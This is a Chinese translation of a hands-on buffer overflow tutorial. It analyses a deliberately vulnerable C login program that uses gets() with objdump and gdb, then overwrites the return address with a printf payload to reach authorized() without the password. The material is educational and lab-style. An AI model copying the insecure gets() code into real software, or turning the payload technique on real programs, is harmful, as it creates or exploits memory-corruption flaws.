做個試驗:簡單的緩衝區溢位

wyzsk發表於2020-08-19
作者: blast · 2014/04/16 11:38

from:http://www.spectrumcoding.com/tutorials/exploits/2013/05/27/buffer-overflows.html 翻譯的比較逗比,都是按照原文翻譯的,加了少量潤色。中間有卡住的地方或者作者表述不清楚的地方我都加了注,大家將就看吧=v=。

0x00 背景


我不是一個專職做安全的人(注:作者是全棧攻城獅-v-),但是我最近讀了點東西,覺得它很有意思。

我在http://wiki.osdev.org/Expanded_Main_Page上看到了這些,在我進行作業系統相關開發時,我讀到了這些有關緩衝區溢位的文章。

因此我準備寫一個有關於C程式緩衝區溢位的簡短介紹。原因很簡單,我學到了這些東西,同時我也想讓大家練習練習。

我們今天準備分析一個需要正確輸入某個密碼才能透過驗證的程式,驗證透過後,程式會呼叫authorized()函式。

但是,假設我現在忘了這個密碼或者不知道它,那我們就只好用緩衝區溢位的方式來呼叫authorized()函式了。

0x01 細節


那麼,幹正事兒了。首先,你應該知道什麼是棧了,如果不知道的話趕緊去http://wiki.osdev.org/Stack看看。簡單來說它就是一個後進先出的結構,從高地址增長向低地址。我將透過下面的有問題的程式來解釋一下這個問題。

#!cpp
#include <stdio.h>
#include <crypt.h>

const char pass[] = "$1$k3Eadsf$blee.9JxQ75A/dSQSxW3v/";     /* Password */

void authorized()
{
    printf( "You rascal you!\n" );
}


void getInput()
{
    char buffer[8];
    gets( buffer );

    if ( strcmp( pass, crypt( buffer, "$1$k3Eadsf$" ) ) == 0 )
    {
        authorized();
    }
}


int main()
{
    getInput();

    return(0);
}

程式碼很簡單,使用者輸入一個密碼,然後程式把它加密起來,並且和程式中儲存的密碼對比,如果成功了,就呼叫authorized()函式,你們就當這個authorized()函式是用來讓使用者在登入後幹一些敏感操作的好了(雖然這個例子裡面我們只列印了一串字串)。那麼,我們編譯一下,看看結果。

#!bash
[email protected] ~/D/p/overflow> gcc -ggdb -fno-stack-protector -z execstack overflow.c -lcrypt -o overflow
overflow.c: In function 'getInput':
overflow.c:12:2: warning: 'gets' is deprecated (declared at /usr/include/stdio.h:638) [-Wdeprecated-declarations]
  gets(buffer);
  ^
[email protected] ~/D/p/overflow> ./overflow
password
[email protected] ~/D/p/overflow>

程式分配8位元組的緩衝區,然後把使用者輸入儲存到這個緩衝區裡面,然後呼叫函式把它加密,再和程式裡的密碼對比。

我們編譯的時候會被編譯器提示gets()不安全,事實上也是,因為它並沒有做任何邊界檢查,所以我們就用它來呼叫漏洞了。

我們用objdump來dump一下生成的機器碼,看看這兒它做了什麼:

#!bash
[email protected] ~/D/p/overflow> objdump -d -M intel blog


#!bash
blog: file format elf64-x86-64

Disassembly of section .init
  ...
Disassembly of section .plt:
  ...
Disassembly of section .text:
  ....

00000000004006a0 <authorized>:
  4006a0: 55                    push   rbp
  4006a1: 48 89 e5              mov    rbp,rsp
  4006a4: bf e2 07 40 00        mov    edi,0x4007e2
  4006a9: e8 a2 fe ff ff        call   400550 <[email protected]>
  4006ae: 5d                    pop    rbp
  4006af: c3                    ret

00000000004006b0 <getInput>:
  4006b0: 55                    push   rbp
  4006b1: 48 89 e5              mov    rbp,rsp
  4006b4: 48 83 ec 10           sub    rsp,0x10
  4006b8: 48 8d 45 f0           lea    rax,[rbp-0x10]
  4006bc: 48 89 c7              mov    rdi,rax
  4006bf: e8 dc fe ff ff        call   4005a0 <[email protected]>
  4006c4: 48 8d 45 f0           lea    rax,[rbp-0x10]
  4006c8: be f2 07 40 00        mov    esi,0x4007f2
  4006cd: 48 89 c7              mov    rdi,rax
  4006d0: e8 8b fe ff ff        call   400560 <[email protected]>
  4006d5: 48 89 c6              mov    rsi,rax
  4006d8: bf c0 07 40 00        mov    edi,0x4007c0
  4006dd: e8 9e fe ff ff        call   400580 <[email protected]>
  4006e2: 85 c0                 test   eax,eax
  4006e4: 75 0a                 jne    4006f0 <getInput+0x40>
  4006e6: b8 00 00 00 00        mov    eax,0x0
  4006eb: e8 b0 ff ff ff        call   4006a0 <authorized>
  4006f0: c9                    leave
  4006f1: c3                    ret

00000000004006f2 <main>:
  4006f2: 55                    push   rbp
  4006f3: 48 89 e5              mov    rbp,rsp
  4006f6: b8 00 00 00 00        mov    eax,0x0
  4006fb: e8 b0 ff ff ff        call   4006b0 <getInput>
  400700: b8 00 00 00 00        mov    eax,0x0
  400705: 5d                    pop    rbp
  400706: c3                    ret
  400707: 66 0f 1f 84 00 00 00  nop    WORD PTR [rax+rax*1+0x0]
  40070e: 00 00

我只保留了我們感興趣的部分,然後用intel語法格式化了一下反彙編資料。我們從main函式開始分析,因為這個對我們來說更有意義(總比從libc_start_main和其他啥地方開始好)。

#!bash
00000000004006f2 <main>:
  4006f2: 55                    push   rbp
  4006f3: 48 89 e5              mov    rbp,rsp
  4006f6: b8 00 00 00 00        mov    eax,0x0
  4006fb: e8 b0 ff ff ff        call   4006b0 <getInput>
  400700: b8 00 00 00 00        mov    eax,0x0
  400705: 5d                    pop    rbp
  400706: c3                    ret
  400707: 66 0f 1f 84 00 00 00  nop    WORD PTR [rax+rax*1+0x0]
  40070e: 00 00

看看,這兒發生啥了?首先,rbp暫存器被壓到了棧上,之後會被rsp的內容替換。看看其他函式開頭,我們也會發現類似的東西:

#!bash
00000000004006a0 <authorized>:
  4006a0: 55                    push   rbp
  4006a1: 48 89 e5              mov    rbp,rsp
  ...
00000000004006b0 <getInput>:
  4006b0: 55                    push   rbp
  4006b1: 48 89 e5              mov    rbp,rsp
  ...

這叫函式初始化,當然函式最後也會有一個收尾工作。首先當前棧底指標(注:rbp)被壓入棧上,然後棧底指標被設定為當前棧頂的地址(注:rsp)。

前一個棧底指標指向它之前一個棧幀的棧頂,棧內就這樣一個個的連續不斷的指下去。這樣可以讓程式出錯的時候跟蹤棧,因為棧底指標可以一路向下指向另一個棧幀的開頭。

棧幀是一個函式呼叫在棧上使用的一片記憶體,它包含有引數(注:64位下如果系統決定用暫存器傳參,那引數這東西也有可能沒有)、返回地址和本地變數。我從wikipedia的文章裡面偷來一張圖,大家可以看看:http://en.wikipedia.org/wiki/Call_stack

enter image description here

函式名雖然各不相同,但是狀況是一樣的,棧向下增長,所以一個函式的返回地址在相對於本地變數裡更高的位置。我們回到之前的函式看看這對我們來說意味著啥。在函式初始化階段之後,有一個mov eax,0x0的語句,那之後會呼叫了我們的getInput()函式。

#!bash
00000000004006b0 <getInput>:
  4006b0: 55                    push   rbp
  4006b1: 48 89 e5              mov    rbp,rsp
  4006b4: 48 83 ec 10           sub    rsp,0x10
  4006b8: 48 8d 45 f0           lea    rax,[rbp-0x10]
  4006bc: 48 89 c7              mov    rdi,rax
  4006bf: e8 dc fe ff ff        call   4005a0 <[email protected]>
  4006c4: 48 8d 45 f0           lea    rax,[rbp-0x10]
  4006c8: be f2 07 40 00        mov    esi,0x4007f2
  4006cd: 48 89 c7              mov    rdi,rax
  4006d0: e8 8b fe ff ff        call   400560 <[email protected]>
  4006d5: 48 89 c6              mov    rsi,rax
  4006d8: bf c0 07 40 00        mov    edi,0x4007c0
  4006dd: e8 9e fe ff ff        call   400580 <[email protected]>
  4006e2: 85 c0                 test   eax,eax
  4006e4: 75 0a                 jne    4006f0 <getInput+0x40>
  4006e6: b8 00 00 00 00        mov    eax,0x0
  4006eb: e8 b0 ff ff ff        call   4006a0 <authorized>
  4006f0: c9                    leave
  4006f1: c3                    ret

我們能看到類似的函式初始化功能,然後在gets之前就是一些有意思的指令。再給你們看看程式碼:

#!cpp
void getInput() {

  char buffer[8];
  gets(buffer);

  if(strcmp(pass, crypt(buffer, "$1$k3Eadsf$")) == 0) {
    authorized();
  }
}

棧上開擴出了一個16位元組的地址(sub rsp, 0x10),之後rax設定為了棧頂地址。這是要作甚?我們的緩衝區只有8個字,但是空間卻留了16個位元組。 這是因為x86指令集流SIMD擴充套件要求必須要用16個位元組對齊資料,所以裡面還有8個位元組純粹是為了對齊用的,這樣就把我們的空間偷偷摸摸的弄成了16個位元組。

然後lea eax,[rbp - 0x10]mov rdi, rax之後,rbp - 0x10(即:棧頂)指向的地址會讀取到rdi,這個就是gets()待會兒要寫入的對齊資料。可以感受一下,棧是向下增長的,但是快取則是從棧頂(rbp - 0x10)到rbp這個範圍。

那說了這麼多我們到底要幹啥呢?目標就是讓authorized()函式跑起來。因此我們可以把當前函式的返回值直接改成auhtorized()的地址。

當call指令執行的時候,rip(指令暫存器)將會被壓到棧上。這也就是為啥棧會在push rbp之後對齊到16位元組的原因:返回地址只有8個位元組長,rbp只好用另外8個位元組來對齊了。讓我們在gdb裡面載入一下我們的程式,跟一下看看棧上發生了啥:

#!bash
[email protected] ~/D/p/overflow> gdb overflow
GNU gdb (GDB) 7.6
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/cris/Documents/projects/overflow/overflow...done.

(gdb) set disassembly-flavor intel

(gdb) disas main
Dump of assembler code for function main:
  0x00000000004006f2 <+0>:  push   rbp
  0x00000000004006f3 <+1>:  mov    rbp,rsp
  0x00000000004006f6 <+4>:  mov    eax,0x0
  0x00000000004006fb <+9>:  call   0x4006b0 <getInput>
  0x0000000000400700 <+14>: mov    eax,0x0
  0x0000000000400705 <+19>: pop    rbp
  0x0000000000400706 <+20>: ret
End of assembler dump.

我們可以看到main()函式的反彙編程式碼如上,我們想在進入main()之後立馬看到棧,所以我們在push rbp的地方設定一個斷點,然後啟動程式,dump一下棧:

#!bash
(gdb) b *0x00000000004006f2
Breakpoint 1 at 0x4006f2: file overflow.c, line 19.

(gdb) start
Temporary breakpoint 2 at 0x4006f6: file overflow.c, line 21.
Starting program: /home/cris/Documents/projects/overflow/overflow

Breakpoint 1, main () at overflow.c:19
19  int main() {

(gdb) x/8gx $rsp
0x7fffffffe6f8: 0x00007ffff7818a15  0x0000000000000000
0x7fffffffe708: 0x00007fffffffe7d8  0x0000000100000000
0x7fffffffe718: 0x00000000004006f2  0x0000000000000000
0x7fffffffe728: 0xab4f0bd07ac4a669  0x00000000004005b0

這樣我們就能看到現在棧其實還沒有對齊到16位元組。我們剛剛執行了一下到main的呼叫,所以我們希望棧頂的值就是main的返回地址。我們可以反編譯一下這個地方的程式碼來驗證一下,我們看看__libc_start_main,我已經把輸出資料裡沒用的都刪了。

#!bash
Dump of assembler code for function __libc_start_main:
  ...
  0x00007ffff7818a0b <+235>:  mov    rdx,QWORD PTR [rax]
  0x00007ffff7818a0e <+238>:  mov    rax,QWORD PTR [rsp+0x18]
  0x00007ffff7818a13 <+243>:  call   rax
  0x00007ffff7818a15 <+245>:  mov    edi,eax
  0x00007ffff7818a17 <+247>:  call   0x7ffff782ecd0 <exit>
  ...
End of assembler dump.

地址0x00007ffff7818a15上是mov edi,eax,然後緊跟著一個呼叫exit()的指令。 eax包含有我們的退出程式碼,這個就是exit函式的返回程式碼。所以,我們已經確認了棧頂就是我們的main的返回地址,rbp在這個指標上時是null,所以在它之後壓入棧內的兩個QWORD是:0x0000000000000000和0x00007fff7818a15。我們將步過(注:step over,直接執行下一條語句,不管是指令還是函式呼叫,都執行到它的後一行停下來),然後在getInput()裡面下斷點並且停下來:

#!bash
(gdb) disas getInput
Dump of assembler code for function getInput:
  0x00000000004006b0 <+0>:  push   rbp
  0x00000000004006b1 <+1>:  mov    rbp,rsp
  0x00000000004006b4 <+4>:  sub    rsp,0x10
  0x00000000004006b8 <+8>:  lea    rax,[rbp-0x10]
  0x00000000004006bc <+12>: mov    rdi,rax
  0x00000000004006bf <+15>: call   0x4005a0 <[email protected]>
  0x00000000004006c4 <+20>: lea    rax,[rbp-0x10]
  0x00000000004006c8 <+24>: mov    esi,0x4007f2
  0x00000000004006cd <+29>: mov    rdi,rax
  0x00000000004006d0 <+32>: call   0x400560 <[email protected]>
  0x00000000004006d5 <+37>: mov    rsi,rax
  0x00000000004006d8 <+40>: mov    edi,0x4007c0
  0x00000000004006dd <+45>: call   0x400580 <[email protected]>
  0x00000000004006e2 <+50>: test   eax,eax
  0x00000000004006e4 <+52>: jne    0x4006f0 <getInput+64>
  0x00000000004006e6 <+54>: mov    eax,0x0
  0x00000000004006eb <+59>: call   0x4006a0 <authorized>
  0x00000000004006f0 <+64>: leave
  0x00000000004006f1 <+65>: ret

(gdb) b *0x00000000004006b1
Breakpoint 3 at 0x4006b1: file overflow.c, line 9

(gdb) c
Continuing.

Breakpoint 3 0x00000000004006b1 in getInput () at overflow.c:9
9 void getInput() {

(gdb) x/8gx $rsp
0x7fffffffe6e0: 0x00007fffffffe6f0  0x0000000000400700
0x7fffffffe6f0: 0x0000000000000000  0x00007ffff7818a15
0x7fffffffe700: 0x0000000000000000  0x00007fffffffe7d8
0x7fffffffe710: 0x0000000100000000  0x00000000004006f2

我已經解釋過上面這些元素是啥了,我們可以驗證一下0x0000000000400700 就是ret的返回地址,getInput()再次返回main()裡面。

#!bash
...
0x00000000004006fb <+9>:  call   0x4006b0 <getInput>
0x0000000000400700 <+14>: mov    eax,0x0
...

現在,接下來幾個命令將在棧上擴充套件16位元組,之前也說過了,然後呼叫我們的gets()函式。我們在gets()之後下個斷點,然後繼續執行:

#!bash
(gdb) b *0x00000000004006c4
Breakpoint 4 at 0x4006c4: file overflow.c, line 14.

(gdb) c
Continuing.
aabbccdd

Breakpoint 4, getInput () at overflow.c:14
14    if(strcmp(pass, crypt(buffer, "$1$k3Eadsf$")) == 0) {

(gdb) x/8gx $rsp
0x7fffffffe6d0: 0x6464636362626161  0x0000000000400500
0x7fffffffe6e0: 0x00007fffffffe6f0  0x0000000000400700
0x7fffffffe6f0: 0x0000000000000000  0x00007ffff7818a15
0x7fffffffe700: 0x0000000000000000  0x00007fffffffe7d8

我輸入了密碼“aabbccdd”,這樣我們看起來方便點。從gets()返回之後,因為我們使用了sub rsp,0x10,所以,棧上還有其他16個位元組在之前這些資料的“下面”。因為這些被當作是緩衝區來用的,所以我們可以看到位元組被儲存為反的順序(注:這句作者說的有點玄乎,我按原文翻譯下來了,其實就是Little-Endian啦,看不懂作者說啥的看這裡看這裡:http://zh.wikipedia.org/wiki/%E5%AD%97%E8%8A%82%E5%BA%8F#.E5.B0.8F.E7.AB.AF.E5.BA.8F)。 0x61是小寫字母a的ASCII碼,0x62是b,以此類推。如果我們輸入16個位元組a的話,我們可以看到我們的資料“填充上”了棧區:

#!bash
(gdb) b *0x00000000004006c4
Breakpoint 4 at 0x4006c4: file overflow.c, line 14.

(gdb) c
Continuing.
aaaaaaaaaaaaaaaa

Breakpoint 4, getInput () at overflow.c:14
14    if(strcmp(pass, crypt(buffer, "$1$k3Eadsf$")) == 0) {

(gdb) x/8gx $rsp
0x7fffffffe6d0: 0x6161616161616161  0x6161616161616161
0x7fffffffe6e0: 0x00007fffffffe6f0  0x0000000000400700
0x7fffffffe6f0: 0x0000000000000000  0x00007ffff7818a15
0x7fffffffe700: 0x0000000000000000  0x00007fffffffe7d8

因此,如果我們提供一個足夠長的輸入資料,我們就可以用authorize的地址來覆蓋這個函式該返回的返回地址。反編譯一下authorized()函式來獲取一下我們所需要的地址:

#!bash
(gdb) disas authorized
Dump of assembler code for function authorized:
0x00000000004006a0 <+0>:   push   rbp
0x00000000004006a1 <+1>:  mov    rbp,rsp
0x00000000004006a4 <+4>:  mov    edi,0x4007e2
0x00000000004006a9 <+9>:  call   0x400550 <[email protected]>
0x00000000004006ae <+14>: pop    rbp
0x00000000004006af <+15>: ret
End of assembler dump.

現在我們所有要做的就是把getInput的返回地址覆蓋為0x00000000004006a0,而且我們可以做到。我們可以在shell裡用printf把資料傳給程式,你可以用\x來轉意16進位制資料,因為地址是倒著來的(注:小端),所以我們也倒著給它就好了。還有,我們需要用0x00來終止我們的快取,這樣strcmp就不會在我們函式返回之前引起一個段錯誤。printf的結果如下:

#!bash
printf "aaaaaaaaaaaaaaaaaaaaaaa\x00\xa0\x06\x40\x00\x00\x00\x00\x00" | ./overflow

這有16個a,還有7個空字元(\x00)來覆蓋rbp,最後,我們用我們的目標地址覆蓋了正常時的返回地址。如果我們執行它的話,程式將會觸發漏洞,直接跑到authorized()裡。儘管我們還沒輸啥對的密碼。

#!bash
[email protected] ~/D/p/overflow> printf "aaaaaaaaaaaaaaaaaaaaaaa\x00\xa0\x06\x40\x00\x00\x00\x00\x00" |
 ./overflow
You rascal you!
fish: Process 9299, “./overflow” from job 1, “printf "aaaaaaaaaaaaaaaaaaaaaaa\x00\xa0\x06\x40\x00\x00\x00
\x00\x00" | ./overflow” terminated by signal SIGSEGV (Address boundary error)

我們的程式會有段錯誤,因為棧上指向__libc_start_main的返回地址沒有對齊(main開頭的push rbp一直沒pop),但是我們還是可以看到它列印了“You rascal you!”,所以我們可以知道authorized()函式事實上已經執行成功了。

0x02 總結


這就是啦!一個簡單的緩衝區溢位,如果你知道這是怎麼發生的話,你會覺得這個太牛逼太好玩了,只要棧上資料仍然可執行,你就可以把程式碼扔到棧上的一個緩衝區裡面,比如這樣,然後把返回地址指向緩衝區,這樣就能用該程式的許可權執行你自個兒的程式碼了。這已經不可能了(注:作者估計是指一些較新的系統已經禁止棧上資料的執行許可權了),但是還是可以修改函式的返回地址,這還是同樣給力。

一些其他給想要學習的人的連線(英文,作者給的): http://insecure.org/stf/smashstack.html http://www.eecis.udel.edu/~bmiller/cis459/2007s/readings/buff-overflow.html https://developer.apple.com/library/mac/#documentation/security/conceptual/SecureCodingGuide/Articles/BufferOverflows.html http://www.ibm.com/developerworks/library/l-sp4/index.html

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章